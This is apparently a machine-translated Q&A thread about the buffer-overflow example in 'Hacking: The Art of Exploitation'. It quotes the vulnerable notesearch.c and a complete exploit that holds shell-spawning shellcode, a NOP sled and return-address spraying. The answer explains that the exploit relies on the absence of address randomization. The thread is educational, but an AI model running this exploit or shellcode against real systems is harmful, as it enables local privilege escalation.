2012-01-02 55 views
8

我正在讀這本書的Exploitation,這本書是一本很好的書,我從exploit_notesearch.c文件中運行該示例。來自Art of Exploitation的緩衝區溢出示例書

簡言之作者試圖從notesearch.c

int main(int argc, char *argv[]) { 
    int userid, printing=1, fd; 
    char searchstring[100]; 
    if(argc > 1) // If there is an arg 
     strcpy(searchstring, argv[1]); 
    else // otherwise, 
     searchstring[0] = 0; 

主函數的參數被複制到searchString的陣列溢出程序,如果參數大於100個字節大它將溢出從返回地址主功能。

筆者準備在exploit_notesearch.c shellcode的,並呼籲弱勢notesearch.c

char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" 
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" 
"\xe1\xcd\x80"; 

int main(int argc, char *argv[]) { 

    unsigned int i, *ptr, ret, offset=270; 
    char *command, *buffer; 

    command = (char *) malloc(200); 
    bzero(command, 200); 

    strcpy(command, "./notesearch \'"); 
    buffer = command + strlen(command); 

    ret = (unsigned int) &i - offset; // Set return address 

    for(i=0; i < 160; i+=4) // Fill buffer with return address 
     *((unsigned int *)(buffer+i)) = ret; 
    memset(buffer, 0x90, 60); // Build NOP sled 
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

    strcat(command, "\'"); 

    system(command); //run exploit 
} 

你可以看到的shellcode與NOP雪橇合併,並返回其應指向NOP雪橇地址。作者使用局部變量i的地址作爲參考點,並減去270個字節,從而試圖找出NOP底座的大致位置。

據我所知,作者認爲易受攻擊的notesearch.c中的主函數的stackframe與exploit_notesearch.c中的main函數的stackframe會處於同一個堆棧段。我認爲這是因爲只有這種方式與局部變量我的地址可以工作。

但是,作者在系統()這個系統(命令)的幫助下調用了易受攻擊的notesearch.c。我的意思是這個函數system()裏面的某個地方使用fork()來產生子進程,之後使用exec()函數來改變進程的圖像。但是如果圖像被改變,這意味着堆棧段將是新鮮的,並且exploit_notesearch.c中主要函數中局部變量i的地址的所有操作都是無用的,但是這種操作對我來說完全混淆了。

回答

11

筆者簡單地假定C編譯器將放置這兩個程序的堆棧在相同(或非常相似)的虛擬地址操作系統將不執行address randomization (ASLR)。這意味着這兩個主函數的堆棧框架將大致位於相同的位置,從而實現此漏洞利用。如你所想象的(這可能會在大多數現代64位系統上失敗),這不是一種非常強大的利用方式。更強大的攻擊可以使用return oriented programming的形式,或者嘗試利用現有的指向相關堆棧幀的指針。

+0

Niklas謝謝你的回答。 – 2012-01-02 14:50:24

+0

Niklas謝謝你的回答。它是父進程和子進程之間操作系統虛擬內存分配的一個特殊屬性,子進程將使用存儲在特權進程的esp中的值?我的意思是,當作者減去270個字節時,他認爲堆棧段中存在易受攻擊子進程的虛擬地址較低。例如,一個父進程完成了他的工作並使用堆棧段中地址爲0hffff4534的地址,子進程是否將從該虛擬地址繼續?如果不是這種情況,有沒有什麼好的手冊或教程可以解釋這一點。在此先感謝 – 2012-01-02 14:56:42

+0

如果我錯了,你能糾正我嗎?據我所知,這個漏洞是可能的,因爲兩個進程將爲堆棧段分配相同的虛擬地址,但由於易受攻擊的主函數將不得不爲局部變量分配大量字節searchstring我們可以假設它會在堆棧中較低 – 2012-01-02 15:04:00